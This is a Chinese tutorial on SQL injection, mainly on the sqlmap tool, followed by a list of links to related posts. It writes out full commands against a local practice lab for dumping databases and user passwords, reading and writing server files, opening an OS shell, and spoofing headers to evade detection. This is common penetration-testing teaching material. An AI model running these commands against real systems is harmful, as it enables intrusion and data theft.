sql注入三种工具(主要sqlmap)
文章目录
- SQLmap
- 安装
- Windows安装
- Linux安装
- 常见参数
- 设置目标url:
- 设置回显等级:-v
- 设定探测等级:--level=N(sqlmap -r情况下)
- 设定探测风险等级:--risk
- 设置http相关参数
- 指定测试参数
- 列数据
- 使用shell命令
- 注入流程
- 1.判断注入点和数据类型:
- 2.判断数据库名
- 3.判断表名
- 4.判断列名
- 5.获取字段
- 6.查看获取的数据文件
- 椰树
- 啊D注入
SQLmap
安装
Windows安装
- 将sqlmap文件夹复制到python环境的文件夹下,进入该路径下的sqlmap下,shift+鼠标右键,选择在此处打开命令窗口,进入cmd窗口后,输入python sqlmap.py -u测试是否成功
Linux安装
- 用kali虚拟机,默认安装sqlmap的,所以直接在shell界面输入sqlmap回车测试
常见参数
设置目标url:
-u或–url:sqlmap -u “带参数的url连接”
-m:从文本获取多个扫描目标,一个url一行。sqlmap -m urllist.txt
-r:将http请求包的请求内容写到文件,sqlmap在文件直接扫描,就不需要设定cookie等字段值。sqlmap -r request.txt
设置回显等级:-v
- 0:只显示python错误和严重的信息
- 1:默认值,同时显示基本信息和警告信息
- 2:同时显示debug信息
- 3:同时显示注入的pyload
- 4:同时显示http请求
- 5:同时显示http响应头
- 6:同时显示http响应页面
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -v 6
设定探测等级:–level=N(sqlmap -r情况下)
- level>=1:默认值,正常探测参数位置
- level>=2:探测http的cookie值
- level>=3:探测user-agent/referer字段
- level=5:探测host信息
- 例:sqlmap -r request.txt --level=5
设定探测风险等级:–risk
- 1:默认值,测试大部分测试语句
- 2:增加基于时间的测试语句
- 3:增加or语句的sql注入测试
- 例:sqlmap -u “带参数的链接” --risk=3
设置http相关参数
- –data:就是把data后面的数据以post方式提交。
- –cookie:将抓包的cookie值复制到cookie参数后面,会自动生成,但是不一定成功。
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --cookie=“Cookie: PHPSESSID=p7ac6np116eh5g21pcu0ho8su1”
- –user-agent:默认情况下,sqlmap的http头部user-agent会带有自己的标识,容易被杀掉,所以需要伪造一个假的
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --level 3 --user-agent=“opjijo”
- -random-agent:会从/usr/share/sqlmap/data/txt中的user-agent.txt文档中随即获取一个user-agent值
- 例:
- -referer:伪造referer字段,绕过检测。
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --referer=“www.baidu.com”
- –delay:设定两个http请求间的延时,默认没有,值为1即间隔1秒
- –timeout:设定http请求多久时间超时,默认秒
指定测试参数
- -p:默认测试所有post、get参数,可以指定要检测的参数
- –skip:指定不需要检测的参数
列数据
- –dbs(查看数据库),–users(查看所有用户),–passwords(查看所有用户密码)
- –technique:指定使用那种注入类型(B-布尔型,E-报错,U-联合,T-时间注入,S-多语句查询)
- –current-db(当前数据库)、–current-user(当前用户)
- –privileges:权限
- -D database_name --tables(获取表)
- -D database_name -T --table_name --columns(获取列)
- -D database_name -T --table name -C --column_1,columns_2 --dump(获取字段)
- –is-dba:判断数据库是否为dba
- –sql-query “select user(),version(),database()” :使用sql语句
- –file-read=/opt/lampp/htdocs/php.ini :文件读取
- –file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt:写入
使用shell命令
- –os-shell:反弹交互shell
- 前提:需要网站的物理路径,并且有FILE的读写权限
- 格式:sqlmap -u “url” -p “id” --dbms mysql --os-shell
- 选择语言,再根据提示选择2,填写物理路径(d:/phpstudy/www)
- –sql-shell:执行指定sql命令。sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --sql-shell
- –os-cmd=系统命令:一次性的执行系统命令,前几步和第一个一样,只不过没有shell界面反弹
- –batch:自动选择y/n
- –start:导出数据的开始条数
- –stop:导出数据的结束条数
- –dump:导出数据
- –dump-all:导出所有数据
- –purge-output或–purge:清空缓存目录
- –dbms “Mysql” --users:指定数据库类型
- –dbs -o “sqlmap.log”:保存进度
- –dbs -o “sqlmap.log” --resume:恢复已保存的进度
注入流程
1.判断注入点和数据类型:
- sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1”。针对GET注入
- sqlmap -r 存有post请求的文档路径
2.判断数据库名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --dbs
3.判断表名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 --tables
4.判断列名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T --columns
5.获取字段
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T 表名 -C 列名 --dump
6.查看获取的数据文件
- windows:c:/users/administrator/.sqlmap/output
- kali:/root/.sqlmap/output
椰树
啊D注入
sql注入三种工具(主要sqlmap)相关推荐
- SQL下三种执行CMD命令的方法
SQL下三种执行CMD命令的方法: 先删除7.18号日志: (1)exec master.dbo.xp_cmdshell 'del C:/winnt/system32/logfiles/W3SVC5/ ...
- sql注入的小工具介绍
sql注入的小工具介绍 啊D注入工具: pangolin(穿山甲) 穿山甲:Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec ...
- ETL常用的三种工具介绍及对比 Datastage,Informatica 和 Kettle
大家好,我是梦想家 Alex ~ ETL是数据仓库中的非常重要的一环,是承前启后的必要的一步.ETL负责将分布的.异构数据源中的数据如关系数据.平面数据文件等抽取到临时中间层后进行清洗.转换.集成,最 ...
- 渣渣白教你使用工具Safe3 SQL注入安全检测工具
说明:1. 未经授权的渗透测试都是违法的! 2. 文章用红色字体编写的部分是关键部分(认真看)!!! 3. 文章用黑色字体编写的部分是渣渣白内心独白,无关紧0! 4. 文章用其他颜色字体编写的 ...
- ETL常用的三种工具介绍及对比Datastage,Informatica
ETL是数据仓库中的非常重要的一环,是承前启后的必要的一步.ETL负责将分布的.异构数据源中的数据如关系数据.平面数据文件等抽取到临时中间层后进行清洗.转换.集成,最后加载到数据仓库或数据集市中,成为 ...
- pl/sql中三种游标循环效率对比
pl/sql中三种游标循环效率对比 - Oracle数据库栏目 - 红黑联盟 http://www.2cto.com/database/201307/224636.html 转载于:https://b ...
- oracle数据库开多线程,学习笔记:Oracle表数据导入 DBA常用单线程插入 多线程插入 sql loader三种表数据导入案例...
天萃荷净 oracle之数据导入,汇总开发DBA在向表中导入大量数据的案例,如:单线程向数据库中插入数据,多线程向数据表中插入数据,使用sql loader数据表中导入数据案例 1.Oracle数据库 ...
- Mysql Oracle Sql server 三种数据库默认端口
** Mysql Oracle Sql server 三种数据库默认端口 ** SQL Server默认端口号为:1433 URL:"jdbc:microsoft:SQL Server:// ...
- SQL 分为三种类型
SQL 分为三种类型: DDL(数据定义语言(Data Definition Language),开发前的设计):主要指数据对象的创建(表.用户): DML(数据操作语言(Data Manipulat ...
- OWASP TOP 10(一)SQL注入(自动化工具sqlmap)
文章目录 sqlmap 一.概述 二.基本参数 1. 检测注入点 2. 列出所有数据库名 3. 列出当前数据库名 4. 列出数据库名表名 5. 列出表中字段名 6. 列出字段内容 - 读取post请求 ...
最新文章
- 凸函数和非凸函数---and why
- java.sql.SQLException: Lock wait timeout exceeded
- [爬虫+数据分析] 分析北京Python开发的现状
- linux打印jvm内存堆栈_5款强大的JVM 性能调优监控工具
- call 和 apply 的使用
- 2017.10.9 放棋子 思考记录
- 芜湖机器人餐厅地址_自助餐哪家强?得看谁让你扶墙... 芜湖8家自助餐厅超强攻略来了...
- 程序员的灯下黑:如果你想考研究生或是研究生
- 考研高数 专题7:方程根的存在性及个数(零点定理-罗尔定理;单调性-罗尔定理推论)
- ipad尺寸html,HTML5之viewport标签,用于iPhone、iPad等手机网页开发。
- 软件环境 硬件环境java,软件环境和硬件环境都指什么?
- 手机设备号到底是什么?
- linux下tomcat的访问权限,关于Linux权限引起的Tomcat项目404问题
- 机器人动力学 拉格朗日乘子法求解动力学方程
- Android 源码 输入系统之 InputReader
- Faster BiSeNet:A Faster Bilateral SegmentationNetwork for Real-time Semantic Segmentation
- 简单记录thinkphp5使用Querylist插件做采集
- 你应该知道的一个PyTorch小技巧
- docker文件清理 <none>
- 网站备案流程[菜鸟必看],
热门文章
- Linux下安装vim命令
- 易语言精益模块json_精易模块|精易模块下载 v3.46 官方免费版_最火软件站
- 前端和后端的英文_前端开发与架构师
- 测试用例方法----正交试验(实验)设计法(黑盒)
- vuetify模板零基础入门
- 武汉大学计算机学院程序大赛,“星网锐捷杯”华中区高校研究生程序设计大赛通知...
- 没登录的计算机怎么远程桌面,没有远程登陆工具如何远程电脑 如何用向日葵实现远程登陆?...
- 从0到1搭建大数据平台之数据采集篇
- mybatis-plus整合p6spy
- python由编译器将源程序转化为机器语言、然后执行_高级语言程序设计(Python)-中国大学mooc-车万翔-车万翔...